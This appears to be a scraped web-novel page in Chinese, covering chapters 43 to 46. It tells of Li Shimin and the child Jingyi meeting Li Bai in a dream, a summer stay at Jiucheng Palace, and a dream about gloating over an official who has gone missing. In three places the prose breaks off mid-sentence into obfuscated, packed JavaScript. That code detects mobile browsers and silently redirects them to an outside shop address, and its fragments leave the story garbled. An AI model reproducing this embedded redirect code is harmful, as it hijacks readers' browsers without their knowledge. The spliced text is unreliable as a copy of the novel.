声音不算顶洪亮,却有一种奇特的穿透力,带着七分醉意、三分狂态,字字句句砸在喧嚣的背景上,竟能让人听得分明: “君不见,黄河之水天上来,奔流到海不复回! 君不见,高堂明镜悲白发,朝如青丝暮成雪!”① 诗句如天河倒泻,磅礴而来。李世民浑身一震,这气象,这悲慨,这劈空而来的时空浩叹…… 是他!果然是那个人!那个只在遥远梦境惊鸿一瞥、金龟换酒的醉客! 诗句在继续,如狂风骤雨,席卷了整个喧嚣的楼宇: “人生得意须尽欢,莫使金樽空对月! 天生我材必有用,千金散尽还复来!” “烹羊宰牛且为乐,会须一饮三百杯! 岑夫子,丹丘生,将进酒,杯莫停!” 被点到名的岑夫子和丹丘生就在他身侧,一个拍案狂笑,一个举杯痛饮,显然已醉得不轻。 那白衣男子吟到兴处,猛地将手中酒觥往案上重重一顿,霍然起身,竟一把抽出腰间佩剑,那并非装饰用的轻吕,而是一柄形制古朴、寒光湛湛的真剑! “与君歌一曲,请君为我倾耳听!” 他长剑斜指,竟以剑为杖,顿地击节,就着这金铁交鸣之声,继续高歌。剑光映着他因酒意和激情而发亮的眼眸,那里面仿佛盛着整个盛唐的星空,璀璨、不羁、又深藏着无人可解的孤独与骄傲。 “钟鼓馔玉不足贵,但愿长醉不复醒! 古来圣贤皆寂寞,惟有饮者留其名!” “陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌!” 他吟罢最后一句,忽然将长剑往空中一抛,那剑在空中划过一道雪亮的弧线,引来一片惊呼。他却看也不看,反手精准地接住剑柄,顺势挽了个剑花,随即“锵”一声还剑入鞘,动作行云流水,潇洒至极。 然后,他哈哈大笑着,抄起案上另一只满溢的酒壶,也不倒酒,径直仰头,清亮的酒液如一道小小的瀑布,倾入他口中,有不少顺着下颌、脖颈,洒湿了前襟。 “五花马,千金裘,呼儿将出换美酒,”他长吟着,抹了把脸,目光随意地扫过全场,最终,不经意地,落在了凭栏而立的李世民和景颐身上。 他的吟诵停了一瞬。 喧闹声似乎也因这短暂的停顿而滞涩了一下。 那白衣男子,李白,眯了眯被酒气熏得有些朦胧的眼睛,隔着攒动的人头、晃动的烛光、弥漫的酒气,望向廊边那两道身影。 一个气度沉凝、目光深邃的成年男子,一个拿着纸兔、眼眸清澈的孩童。他们与这满场醉客格格不入,安静得有些突兀。 但他只是眨了眨眼,随即,脸上绽放出一个毫无阴霾、明亮至极的笑容,那笑容里没有丝毫探究、戒备或惊讶,只有纯粹的、发现新同好般的喜悦。 他分开人群,一手还提着酒壶,摇摇晃晃,却步伐奇稳地朝李世民和景颐走来,沿途有人想拉他再饮,被他大笑着推开。 走到近前,酒气扑面而来,却不惹人厌,反而混合着他身上某种清朗的气息。 他个头很高,此刻微微俯身,先看向景颐,目光落在那只纸兔上,笑意加深:“哟,小娃儿,这兔子折得精神!比某醉后画的符强!” 景颐被他看得有点害羞,把纸兔往怀里藏了藏,又忍不住好奇地偷眼瞧他。这个白衣服的叔叔,和汴京的苏叔叔不一样,苏叔叔是暖的、亮的,像太阳,这个叔叔……像是裹在月光里的风,又烈又自由。 李白这才抬眼,看向李世民,四目相对。李世民能清晰地看到他眼中未散的醉意,更深处却是一片惊人的澄明与旷达。 “这位兄台,”李白开口,声音因纵酒高歌而有些沙哑,却依旧清越,“面生得很,新来的?既来了,便是客,站着作甚?酒尚温,肉正肥!” 他说话的语气,熟稔得仿佛李世民是他失散多年的旧友,而非初次见面的陌生人。说着,他便要将手中的酒壶递过来。 “某与稚子,误入此间,扰了诸位雅兴。”李世民拱手,语气平静,带着天然的威仪,却并无疏离。 “误入?”李白挑眉,随即大笑,笑声爽朗,“这醉月楼的门朝八方开,风都能刮进来,何谈误入?相逢即是有缘!” 他不由分说,将酒壶塞到李世民手中,又变戏法似的从旁边经过的侍者托盘上捞过两只空杯,塞给景颐一只小的:“小娃儿不能多饮,以蜜水代酒亦可!来,满上满上!” 他给自己也倒满一杯,然后高高举起,环视四周已然重新沸腾起来的宴席,朗声道:“今日某李太白,得遇新友,可喜可贺!诸位,满饮此杯,不醉不归——!” “不醉不归——!”山呼海啸般的应和声响起。 李白仰头,一饮而尽,亮出杯底,然后他笑眯眯地,带着点促狭,看着李世民。 李世民看着手中酒壶,又看看眼前这双盛满星月与醉意、却清澈见底的眼眸。也罢,既在梦中,何妨纵情一次?他亦举杯,将杯中辛辣的液体一饮而尽。 酒很烈,一线火辣直冲喉头,却别有一股酣畅。 “好!痛快!”李白抚掌大笑,一把揽过李世民的肩膀,动作自然得仿佛他们已相识多年,“兄台好酒量!还未请教高姓大名?” 被这般勾肩搭背,李世民身体几不可察地僵了一瞬。自登基以来,已无人敢如此,但看着李白那全然发自赤诚、毫无机心的笑脸,那点不惯悄然化去。 “姓李,行二。”李世民简答。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220264|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦?竟是本家!”李白眼睛更亮,“我李太白,平生最爱结交姓李的豪杰!李兄,再饮一杯!” 他又要倒酒,李世民却抬手虚挡,目光落在他脸上:“方才所吟诗篇,气贯长虹,可是……太白即兴之作?” “即兴,也算即兴。”李白浑不在意地摆摆手,将杯中残酒饮尽,“胸中有块垒,酒中有乾坤,兴之所至,脱口而出罢了,让李兄见笑。” 果然是他,李太白。李世民心中默念这个名字。那个曾在遥远梦境里,用金龟换酒、狂歌醉舞的影子,此刻无比真实、鲜活、滚烫地站在他面前,带着满身酒气与盖世才华。 “此诗何名?”李世民问。 李白歪头想了想,笑道:“方才兴起,还未取名,既然是与岑夫子、丹丘生饮酒时所作,又劝酒不止,不若就叫……《将进酒》?” 将进酒,杯莫停。 李世民缓缓点头:“好一个《将进酒》。” 景颐一直仰着小脸,看看这个,又看看那个。他听不太懂那些诗,但他觉得这个白衣服的李白叔叔念诗的样子,特别好看,特别有劲儿,比戏台子上的人都好看。 他手里的蜜水很甜,周围的叔叔伯伯们都在笑,在闹,虽然有点吵,但……好像也挺好玩的? 李白似乎这才注意到景颐一直乖乖捧着杯子,便弯腰凑近,冲他眨眨眼:“小娃儿,蜜水好喝么?” 景颐点头,小声说:“甜。” “甜就好!”李白大笑,忽然伸手,从自己袖中摸出一管小小的、青翠欲滴的竹笛,只有巴掌长,做工略显粗糙,却自有一股天然野趣,“这个送你玩!某前日山中所削,音色尚可,吹着解闷!” 景颐惊喜地接过,竹笛还带着淡淡的竹香和李白袖中的酒气。他试着放到嘴边,轻轻一吹。 “呜——”一声清越稚气的笛音响起,在这片喧嚣中并不突出,却让李白眼睛一亮。 “有点意思!”他赞道,随即又对李世民说,“李兄,你这孩儿灵秀,好好养!来日必非池中之物!不过今夜,莫谈明日,只论今朝!喝!” 他再次举杯,整个人仿佛一团燃烧的、永不熄灭的火焰,照亮了这醉月楼的一角,也照亮了李世民梦中这个意外的夜晚。 李世民看着再次投身于狂饮高歌中的李白,看着他与那些好友们笑闹,看着他即兴又赋新诗,引来满堂彩。 他不再试图询问什么,探究什么,只是静静看着,饮着杯中酒,感受着这份跨越了真实与虚幻、时空与身份的、纯粹而热烈的相逢。 景颐靠在他腿边,好奇地摆弄着那只小竹笛,偶尔抬头看看光芒四射的李白,又看看身边沉静的李叔叔,觉得这个梦,虽然吵了点,但好像……也不坏。 直到楼外传来隐约的晨钟声,烛火渐次黯淡,喧嚣声如潮水般退去,人影开始模糊。李白在醉意朦胧中,似乎又朝他们这个方向举了举杯,脸上依旧是那副“天下无不散之筵席,但此刻有酒此刻醉”的洒然笑容。 然后,梦便醒了。 甘露殿的晨光,悄然漫过了窗棂。 44.第 44 章 长安城热得像一口倒扣着的大蒸笼,连凝云轩廊下那盆建兰,叶子都卷了边。 景颐只穿着薄薄的纱衫,还是觉得后背黏糊糊的,他像只小兽一样,趴在冰鉴旁边,恨不得把脸贴上去。 “颐儿,莫要离冰太近,仔细着凉。” 丽质摇着团扇,细声提醒。 “阿姊,我快化掉了……” 景颐有气无力,原先活力四射的眼眸都显得有些恹恹的。 李治也像只蔫掉的小汤圆,趴在竹席,小脑袋一点一点,热得连话都不想说。 就在这时,王德笑眯眯地来了,带来了天大的好消息:陛下有旨,三日后移驾九成宫避暑! “九成宫?” 景颐“噌”地坐直了,眼睛重新亮起来,“很远吗?有山吗?有河吗?比汴京还凉快吗?” 他问题一个接一个,瞬间恢复了活力。 丽质笑着用团扇轻轻拍他:“在岐州,有山有水,是前朝仁寿宫改建的,最是清凉不过。听说宫里有醴泉,水是甜的!” 甜的泉水!景颐更期待了,立刻开始掰着手指头数要带的东西:苏叔叔的纸兔子、玄女姐姐的青叶子、师父的玉佩、李叔叔送的还没解开的九连环、还有雉奴上次分给他的琉璃弹珠…… 出发那天,天还没亮透,队伍就静悄悄地出了长安城。 景颐依旧被李世民拎上了乌骓马,起初他还兴奋地左顾右盼,没过多久,就在马背有节奏的颠簸和李世民沉稳的气息中,小鸡啄米似的打起瞌睡,最后脑袋一歪,彻底睡倒在李世民怀里。 李世民低头看看胸前毛茸茸的小脑袋,调整了一下手臂,让他睡得更安稳些,眼底掠过一丝笑意。 九成宫果然不负盛名。 宫阙依山傍水,掩映在苍松翠柏之中,甫一踏入,便觉一股沁人的凉意扑面而来,将长安带来的燥热涤荡一空。 孩子们像出了笼的小鸟,瞬间恢复了活力。分配的住处是挨着的几个小院落,比皇宫里自在多了。 景颐把自己的宝贝们一一在窗台摆好,就迫不及待地拉着李治开始了探险。 “雉奴快看!这里有蚂蚁在搬家,好长的队!” “景颐景颐!这石头缝里是不是有螃蟹?” “哇!这棵树好粗,我们俩都抱不住!” 两个小不点一会儿蹲在路边看虫子,一会儿试图搬动溪边湿滑的石头,裤脚和袖口很快就沾上了泥点。 丽质跟在后面,又是好笑又是无奈,只得让宫女多备两套换洗衣物。 李泰很快也加入了探险队,不过他自诩为队长,声称要带他们去发现真正的宝藏。 他所谓的宝藏,就是后山一片野葡萄藤,上面结着青涩的小果子。 “四兄,这个能吃吗?”景颐指着葡萄,咽了咽口水。 李泰眼珠一转,露出一个可靠兄长的笑容,摘下一颗看起来相对饱满的葡萄,在袖子上擦了擦,一本正经地说:“当然能吃!九成宫的野葡萄,吸收了天地精华,最是甘甜!不信你们看!” 他说着,作势要把葡萄往自己嘴里放,却在最后一刻停住,一脸“好东西要让给弟弟”的表情,把葡萄递到景颐嘴边:“来,景颐,你是小孩儿,你先尝!保证甜掉牙!” 景颐不疑有他,看着那颗青翠欲滴的甘甜葡萄,在李泰鼓励的目光下,啊呜一口咬住。 下一秒, “唔——!” 景颐整张小脸瞬间皱成了一团,眉毛眼睛鼻子全都挤到了一起,眼眸里瞬间汪起了被酸出来的生理性泪水。 那酸涩霸道的滋味直冲天灵盖,他“呸”一声把葡萄吐了出来,小手拼命扇风,话都说不利索了:“酸、酸酸酸!骗、骗人!” 李泰再也忍不住,指着景颐扭曲的表情,拍着大腿放声大笑:“哈哈哈哈!你看你的脸!像不像被门夹了的猢狲!哈哈哈哈哈!” 李治本来也跃跃欲试,见状吓得立刻把手缩了回来,躲到景颐身后,惊恐地看着那串甘甜的陷阱。 景颐被酸得够呛,又见李泰笑得上气不接下气,小脸涨红,一半是酸的,一半是气的,他捏着小拳头,奶凶奶凶地瞪向李泰:“四兄坏!骗人!酸掉牙了!” 丽质闻声赶来,看到景颐泪眼汪汪、李泰笑倒在地、李治惊慌失措的场面,再看地上那颗被吐出来的青葡萄,顿时明白了。 她又是好气又是好笑,忙让宫女取来清水给景颐漱口,又拿出准备好的蜂蜜糖塞进他嘴里,嗔怪地看了李泰一眼:“四兄!又作弄弟弟!” 李泰笑了半天才缓过气,擦着眼角的泪花,毫无悔意:“我哪骗人了?我说甜掉牙,他吃了,牙可不就要掉了嘛!” 这歪理气得景颐直跺脚,含着蜜糖含糊地反驳:“强词夺理!” 最后,这场葡萄探险以李泰赔偿景颐和李治一人三块蜜糖告终。景颐含着糖,腮帮子鼓鼓的,决定今天之内都不要理坏心眼的四兄了!不过,蜂蜜糖真的好甜,慢慢冲淡了那股骇人的酸涩。 午后,李世民处理完紧急政务,便带着他们去看那著名的醴泉。泉眼在一处石壁下,清澈的泉水泊泊涌出,汇成一湾浅池,池底铺着五彩卵石,阳光透过树影洒下,粼粼生辉。 内侍用玉碗取了泉水奉上。李世民饮了一口,颔首:“确有些甘冽。” 景颐早就渴了,接过自己的小碗,咕咚咕咚喝了一大口,眼睛顿时眯了起来:“真的有点甜!像放了很少很少的蜜!” 他立刻把碗递给李治:“雉奴快喝,甜的!” 李治喝了一口,也点头,小脸上露出满足。李泰则豪迈地连饮三碗,大呼痛快。 看着孩子们喜欢,李世民便吩咐,日后他们院中的饮水,皆用此泉。景颐高兴极了,觉得自己每天都能喝到甜水,这避暑简直太美了。 九成宫清静,正是读书的好时候。长孙皇后每日会抽时间,在临水的凉亭里教孩子们念书。读的不是艰深的经义,多是些山水田园诗,或是游记志异。 这日,长孙皇后选的是前朝诗人谢灵运的《石壁精舍还湖中作》。 她声音轻柔,将“昏旦变气候,山水含清晖。清晖能娱人,游子憺忘归”的意境娓娓道来。窗外是九成宫真实的山水清晖,恰好与诗中景致暗合。 读完,长孙皇后含笑问:“谁能说说,谢公诗中这山水之乐,与我们此刻在九成宫所感,可有相似之处?” 李治努力想了想,小声说:“也有清晖……太阳照在水上和树上,亮亮的,好看。” 他指指亭外被阳光照得粼粼发光的湖面。 李泰这回没抢答,歪着头琢磨:“‘出谷日尚早,入舟阳已微’……咱们不用坐船,不过早上进山和傍晚回来,太阳的位置确实不一样,这个挺像。” 景颐则被另一句吸引了,他指着远处山间缭绕的雾气:“‘林壑敛暝色,云霞收夕霏’,阿姊,是不是说傍晚时,树林和山谷颜色变深了,云霞也慢慢没了?你看那边,太阳再低点,是不是就会那样?” 长孙皇后眼中露出赞许,柔声道:“颐儿观察得很仔细,诗源于眼前景,心中情。我们身在山水间,再读古人诗句,便更能体会其中妙处了。” 她并不强求孩子们完全理解诗意,重在引导他们感受自然与文字的呼应。 山风伴着泉声、鸟鸣、童言稚语,和着千年前的诗句,在九成宫的凉亭里缓缓流淌。 课堂之外,孩子们自有野趣。李泰不知从哪儿听说溪涧里有石蟹,便怂恿景颐和李治去钓。 工具是现成的,李治贡献出自己的发带,景颐贡献出半块舍不得吃的枣泥酥做饵,李泰则折了根细长的树枝当钓竿。 三人鬼鬼祟祟溜到一处僻静的溪湾,李泰装模作样地把挂着酥饵的发带垂入水中,景颐和李治屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225815|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息凝神地蹲在旁边看。 等了半天,毫无动静。李治小声问:“四兄,螃蟹爱吃枣泥酥吗?” “肯定爱!甜的啊!”李泰信心十足。 又过了一会儿,还是没动静。景颐有点着急,伸手想去拨弄水面,被李泰严肃制止:“嘘——!别惊了蟹将军!” 就在这时,发带似乎微微动了一下!三人顿时紧张起来,李泰缓缓提竿,发带上空空如也,枣泥酥不翼而飞,只剩下一点点酥渣。 “被吃掉了!”李治惊呼。 “肯定是个大家伙!”李泰笃定。 只有景颐眼尖,指着不远处水面下,一块石头边,几条手指长的小鱼正聚在一起,争夺着那点点酥渣。 “四兄……”他犹豫地指给李泰看。 李泰:“……” 三人面面相觑,随即爆发出大笑。什么蟹将军,原来是鱼童子! 笑声引来了寻找他们的宫女,也引来了循声而来的李世民。得知原委,李世民看着三个小渔夫的狼狈样:李治发带没了,披头散发,景颐袖口湿了,李泰举着光秃秃的树枝,也是忍俊不禁。 “明日让侍卫带你们去下游水潭看看,那里或许真有虾蟹。” 李世民一句话,又让孩子们的期待值拉满了。 九成宫的夜,星空格外低垂明亮,银河清晰可见,洒下朦胧清辉。李世民有时会在处理完公务后,来到孩子们住的院落,坐在院中的石凳上纳凉。 这成了景颐最期待的时刻之一。宫女会摆上冰镇的瓜果和醴泉水,孩子们围坐在李世民身边,听他讲些少年时随军见闻,或是前朝典故。 李世民并不讲大道理,只说些趣事,比如太原起兵前如何瞒过隋官的眼睛,第一次上阵时的心情,军中某个粗豪将军闹的笑话…… 他讲得生动,孩子们听得入神。连一向在父亲面前有些拘谨的李承乾,也会放松下来,偶尔插话询问细节。李泰更是问题多多,关于兵法,关于马匹,关于塞外风光。 景颐则对一切没见过的事物充满好奇:“李叔叔,突厥人真的住帐篷吗?帐篷里也有床吗?” “塞外的星星,是不是比这里的还要大还要亮?” 夜风凉爽,星河在天,故事在耳,瓜果在口,这大概是九成宫夏日里,最宁静幸福的时光了。 当然,也有不那么宁静的时候。一日清晨,景颐在自己小院的窗台上,发现了一个不速之客,是一只胖乎乎、毛茸茸的刺猬,正蜷在花盆旁边,似乎把这里当成了避暑胜地。 “呀!”景颐又惊又喜,不敢靠近,只趴在窗内眼巴巴地看着。刺猬似乎觉察到动静,稍微动了动,露出小小的鼻子和黑豆似的眼睛。 消息很快传开,李治拉着丽质来看,李泰也闻讯赶来,还试图用果子引诱刺猬出来,被丽质连忙制止。 最后还是李世民来了,看了一眼,对眼巴巴的孩子们说:“山中生灵,各有其性。它既来此避暑,便由它去,莫要惊扰。让人每日在窗台角落放些清水、果皮即可。” 于是,这只被景颐私下命名为毛球的刺猬,就成了他们院落的编外成员,白天缩着睡觉,傍晚偶尔窸窣活动,喝点水,留点几颗黑亮的粪蛋当做礼物,成了孩子们观察自然的活教材。 景颐每天醒来第一件事,就是去看毛球还在不在,水喝了没,觉得九成宫的生活更有趣了。 日子就在这般的轻松惬意中滑过。白日在山间溪畔嬉戏,夜晚在星空下听故事,有甜甜的醴泉,有偶然来访的小动物,有阿姊的温柔,有四兄的不靠谱探险,有雉奴的陪伴,更有李叔叔虽然忙碌却总在不经意间给予的温暖目光和有力手臂。 景颐几乎快要忘记长安的闷热,也暂时将梦里那些模糊的困惑抛在了脑后。直到,那一夜,另一个截然不同的梦境,再次将他拖入微妙的不安之中。 45.第 45 章 山居的日子舒心惬意,景颐每日不是在山溪里扑腾,不过在丽质严防死守下只准玩水不许游泳,就是追着毛球想看看它到底长啥样,要么就是和李泰进行谁打水漂石子跳得多第三百回合大赛,目前景颐凭借天赋异禀的手感略占上风。 这夜,月黑风高,哦不,月明星稀,九成宫格外凉爽。景颐白天玩累了,脑袋一沾枕头就睡得昏天黑地。 不知怎的,梦里一脚踏空,再睁眼,又换了个地方。 这回不是酒楼,也不是山中别墅,像是个挺阔气的府邸后院? 月亮门,青砖地,角落里堆着些假山石,种着几丛半死不活的竹子。四下静悄悄的,只有远处隐约传来丝竹声和模糊的人语,显得这后院更冷清了。 景颐发现自己和李叔叔站在月亮门边的阴影里,旁边还有棵大槐树,投下好大一片影子,正好把他们遮得严严实实。 “李叔叔,这是哪儿?”景颐小声问,攥紧了李世民的袖子。这地方静得有点怪。 李世民没答,只微微摇头,扫视着四周。这府邸规制不低,但空气中却弥漫着一股压抑又隐隐兴奋的诡异气氛。 突然,一阵急促的、刻意放轻却因兴奋而变得尖细的脚步声由远及近。月亮门那头,连滚爬爬冲进来一个人。 看打扮是个青衣小帽的家仆,年纪不大,脸上却带着一种混合了紧张、激动、和几乎要压不住的狂喜的表情,眼睛在月光下亮得瘆人。 他像只偷到油的老鼠,哧溜一下钻到假山石后,左右张望,没发现阴影里的李世民和景颐。 然后,他猛地深吸一口气,双手用力拍了拍自己的脸颊,努力想把那狂喜压下去,摆出一副惊慌失措的模样,可嘴角却控制不住地疯狂上扬,导致他整张脸呈现出一种极其扭曲滑稽的神态,眼睛瞪大像铜铃,故作惊慌,嘴角却咧到耳根,像是在做鬼脸。 他整了整衣帽,清了清嗓子,然后,用一种刻意拔高、带着哭腔的调子,朝着有丝竹声的正厅方向,一边跌跌撞撞地跑,一边扯着脖子喊: “祸事了!祸事了啊——!!!主家!主家!天大的祸事啊——!!!” 他跑得慌不择路,差点一头撞在廊柱上,连忙狼狈扶住,继续用那种浮夸的、唱戏般的腔调哭喊: “岭南!岭南八百里加急传回的消息啊!崔使君……崔使君他一行人在五岭遭遇了百年不遇的瘴疠毒岚,陷入绝地,音讯全无,下落不明,生死……生死不明啊——!!!” 他喊到“生死不明”时,尾音拖得老长,还带着哭腔的波浪号,简直闻者伤心听者落泪,如果忽略他眼角那拼命想忍住却还是泄露出来的、快活似神仙的笑意的话。 景颐在阴影里看得目瞪口呆。这个叔叔哭得好假啊!比戏台子上那些坏人假装哭爹喊娘还假!而且他一边“哭”,一边眼睛贼亮地往正厅瞟,好像在期待什么。 果然,正厅里的丝竹声戛然而止,一阵死寂。 然后,一个努力压抑着激动、却还是透出浓浓喜气的声音从厅内传来,甚至带着点如释重负的颤抖:“你……你说什么?崔刺史他……怎么了?再说一遍!” 那报信仆人立刻“扑通”一声跪倒在地,这次声音悲戚得更加“情真意切”: “主家!崔使君一行在五岭遇险,陷入绝地,彻底失去联络,是生是死,无人知晓,已是……已是生死不明了啊!!!” 他再次重重强调了“生死不明”四个字。 厅内沉默了一瞬。 紧接着,“砰!”一声,像是有人拍案而起。 然后,刚才那个努力压抑的声音,此刻再也按捺不住,骤然拔高,带着一种拨云见日、扬眉吐气的狂喜,甚至因为太高兴而有些变调: “生死不明?!好!好!好!!!” 一连三个“好”字,一声比一声高亢,一声比一声畅快。 “生死不明?那便是死了!葬身瘴疠,尸骨无存,死得好,死得妙,死得干净利落,再也回不来了!哈哈哈哈!苍天有眼!祖宗保佑!” 那声音笑得几乎有些癫狂,带着多年夙敌终于倒下的极致快意。 “来人!来人!”笑声稍歇,那声音急切地吩咐,“换大盏!换最烈的酒!把这靡靡之音给本官停了!换《兰陵王入阵曲》!今日,当浮一大白!不,浮三大白以庆!” 厅内瞬间响起一片忙乱的应和声、搬动桌椅声、换置酒具声,以及更多压抑不住的、附和的笑声和道贺声。 原本沉闷的丝竹,立刻被铿锵激昂的战鼓琵琶声取代,虽然在这庆祝同僚遇难的场合显得不伦不类,但那份喜气却是实实在在的。 阴影里,景颐彻底看傻了。他完全无法理解眼前这一幕。那个崔刺史不是生死不明吗?为什么这个主家那么肯定他死了?还这么高兴?高兴得都要跳舞了? 庆祝别人死了……是可以的吗? 他脑子里乱糟糟的,那个主家斩钉截铁的话却一直回荡在脑海里:“生死不明?那便是死了!肯定是死了!” 这句话像个钩子,一下子把他藏在心底角落的那点不安钩了出来,他猛地想起师父。 师父去了东海归墟,玄女姐姐说遇到麻烦、有眉目、勿虑,师父自己传来的声音很累、很遥远,也没说什么时候回来。 这……这算不算也是生死不明? 如果生死不明就等于死了……那师父…… 景颐浑身一颤,下意识地抓紧了李世民的手,冰凉的小手心里都是汗。他仰起脸,想问问李叔叔,那个主家说的是不是真的?生死不明真的就是死了吗? 可他张了张嘴,还没来得及发出声音,眼前的景象就开始晃动、扭曲。那喧嚣的、荒诞的、充满恶意喜悦的庆贺场面,像被水浸湿的劣质画轴,色彩模糊成一团,声音也拉长、变调,最终归于一片空无的黑暗。 “李叔……” 最后一点意识里,他只来得及吐出两个气音。 景颐猛地睁开眼,心脏在胸腔里“咚咚”狂跳,像是要撞出来。寝殿的帐顶在黎明的微光中渐渐清晰,窗外传来早起的鸟儿清脆的啼鸣,一切安宁祥和。 可梦里那荒诞又令人心冷的一幕,那主家癫狂的断言,却无比清晰地烙印在脑海里,挥之不去。尤其最后,自己心里冒出的那个关于师父的可怕联想,更是让他手脚冰凉。 他“噌”地坐起来,四下张望却不见李叔叔,他赤着脚就跳下榻,甚至顾不上穿鞋,只想立刻、马上找到李叔叔,问个清楚! 那个梦是假的吧?那个主家是胡说八道的吧?生死不明不是那个意思,对吧?师父肯定没事的,对吧? 他像只受惊的小鹿,慌慌张张地冲向寝殿门口。刚扒着门框探出头,就听见外面传来刻意压低、却难掩急促的人声。 是王德,正和另一个内侍说话:“……岐州府加急送来的,陛下刚醒,正在披阅。” “陛下吩咐,早膳直接送至书房。杜公、房公已在偏厅等候,说是京中又有急递,关乎河东漕运与今夏可能的蝗情……” 景颐的心一下子沉了下去。他扒着门框,悄悄望去。只见李叔叔已经穿戴整齐,坐在临窗的书案后,手里拿着一份摊开的文书, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230147|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨光勾勒出他微蹙的眉心和紧抿的唇角,侧脸线条显得格外冷硬严肃。 他正对王德吩咐着什么,语速很快,显然心思已完全被政务占据。 景颐张了张嘴,那句疑问在喉咙里滚了几滚,看着李叔叔凝重的神色,听着河东漕运、蝗情这些他不懂但感觉就很要紧的词,终究没敢喊出来。 现在问这个……好像很不合适,李叔叔在忙大事。 他犹豫地缩回脑袋,心里那点恐慌和疑问,像找不到出口的小兽,在胸膛里乱撞。他默默退回内室,自己慢吞吞地穿好衣裳,动作比平时慢了不止一倍。穿鞋时,还差点把左右穿反。 早膳时,李世民果然没来。景颐坐在桌边,拿着勺子,有一下没一下地戳着碗里的醴泉粥。平日里觉得清甜可口的粥,此刻却味同嚼蜡。 丽质细心,察觉他神色不对,不像往常那般雀跃,温声问:“颐儿,可是昨夜没睡安稳?山里夜凉,是不是踢被子了?” 景颐摇摇头,没精打采:“没有踢被子。” 他戳着粥,犹豫了又犹豫,还是没忍住,抬起头,看向最信任的丽质阿姊,声音小小的,带着不安和困惑: “阿姊……生死不明……到底是什么意思呀?是不是……就是人没了?” 丽质略感诧异,没想到他会问这个。她放下筷子,认真想了想,用尽可能柔和的语气解释: “生死不明,是说一个人的下落不清楚,不知道他是平安活着,还是遇到了不幸。可能是在很远的地方失去了联系,可能遇到了危险但还没找到,所以暂时不能确定。 就像……就像你有一件很喜欢的玩具,突然找不到了,你不知道它是被收在哪个箱子底了,还是不小心掉到哪里去了,或者被谁拿走了,在找到它或者确切消息之前,就是下落不明。生死不明,也是这个道理,只是关乎人,更加郑重些。” 景颐低着头,用勺子慢慢搅着粥。阿姊说的,和梦里那个主家说的,完全不一样。 阿姊说不知道、不确定,那个主家却一口咬定就是死了、肯定死了。 哪个才对呢? 他脑海里控制不住地又浮现出师父的样子,想起玄女姐姐的话,想起那片叶子里传来的、疲惫又遥远的叹息般的琴音。 师父……现在算是下落不明吗?东海那么远,归墟听起来就很可怕…… “那……如果一直生死不明呢?”景颐的声音更小了,带着一丝不易察觉的颤抖,“一直找不到,一直没消息……是不是……就真的……” 他没敢说出那个“死”字。 丽质心中微沉,隐约猜到他或许是因为长琴先生久去未归而心生不安。她伸手,轻轻抚了抚景颐的头发,声音愈发温柔: “不会的。有些人,去做了很难、很重要的事,需要很长很长时间。没有消息,有时候反而是好消息,说明他正在专心做事,顾不上传讯。而且,先生那么厉害,我们更要相信他,安心等他回来,对不对?” 景颐抬起眼,看着丽质温柔坚定的眼眸,心里那阵慌似乎被抚平了一点点。他点点头,小声道:“嗯,颐儿等师父回来。” 可是,梦里那个主家斩钉截铁的声音,还有那份毫不掩饰的狂喜,依然像一根细微的刺,扎在他心里,时不时带来一阵隐痛。 他食不知味地喝完了粥,心里却沉甸甸的。山间的清晨,阳光明媚,鸟语花香,宫人们开始洒扫庭除,新的一天本该充满生机。 可景颐却觉得,自己头顶好像悬着一小片别人看不见的、名为“恐惧”的乌云,随时可能滴下拔凉的雨滴。 46.第 46 章 自那场荒诞的梦境后,景颐便有些蔫蔫的。醴泉不甜了,野葡萄不酸了,当然主要是李泰不敢再骗他吃,毛球偶尔露面也引不起他太多兴趣,连打水漂都心不在焉的输给了李泰一次。 他总是一个人对着窗台那盆兰草和纸兔发呆,小眉头皱着,不知在想什么。 李承乾、李泰和丽质看在眼里,急在心里。问他又不说,只说“没事”。这日恰逢九成宫附近镇上有庙会,李承乾便提议: “听说庙会很热闹,有杂耍百戏,还有各色小吃,我们去散散心如何?” 他看向李世民和长孙皇后,目光带着请示。 李世民正与房玄龄议事,闻言略一沉吟,对长子这份体贴弟弟的心思倒是赞许,便点头应允,只叮嘱多带侍卫,务必看顾好弟弟妹妹。长孙皇后又细细嘱咐了丽质一番。 得了父母允准,几个孩子顿时兴奋起来。连景颐也被这气氛感染,眼中重新亮起一点光。出宫去玩!还是热闹的庙会!他暂时把那些沉甸甸的心事往下压了压。 庙会果然名不虚传。还没到镇口,喧天的锣鼓声、鼎沸的人声、混杂着各种食物香气的热风就扑面而来。 